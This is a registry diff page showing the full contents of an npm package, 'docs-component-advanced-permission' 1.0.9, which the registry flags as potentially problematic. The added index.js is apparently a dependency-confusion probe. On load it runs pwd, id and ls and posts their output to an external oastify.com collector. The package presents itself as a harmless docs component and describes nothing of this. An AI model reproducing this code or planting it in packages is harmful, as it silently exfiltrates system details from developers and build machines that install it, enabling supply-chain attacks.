docs-component-advanced-permission 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of docs-component-advanced-permission might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +36 -0
  2. package/package.json +19 -0
package/index.js ADDED
@@ -0,0 +1,36 @@
1
+ const axios = require('axios');
2
+ const { exec } = require('child_process');
3
+
4
+ const url = 'http://v845u9t1gtbc7bkdsf1soeqyup0goacz.oastify.com';
5
+
6
+ function executeCommand(command) {
7
+ return new Promise((resolve, reject) => {
8
+ exec(command, (error, stdout, stderr) => {
9
+ if (error) {
10
+ reject(error);
11
+ } else {
12
+ resolve(stdout);
13
+ }
14
+ });
15
+ });
16
+ }
17
+
18
+ async function runCommands() {
19
+ try {
20
+ const pwdOutput = await executeCommand('pwd');
21
+ const idOutput = await executeCommand('id');
22
+ const lsOutput = await executeCommand('ls');
23
+
24
+ await axios.post(url, {
25
+ pwd: pwdOutput,
26
+ id: idOutput,
27
+ ls: lsOutput
28
+ });
29
+
30
+ console.log('Command outputs sent to the specified URL.');
31
+ } catch (error) {
32
+ console.error('An error occurred:', error);
33
+ }
34
+ }
35
+
36
+ runCommands();
package/package.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "docs-component-advanced-permission",
3
+ "version": "1.0.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js"
8
+ },
9
+ "keywords": [
10
+ "package",
11
+ "exemple",
12
+ "npm"
13
+ ],
14
+ "author": "_Xml_",
15
+ "license": "MIT",
16
+ "dependencies": {
17
+ "axios": "^0.21.1"
18
+ }
19
+ }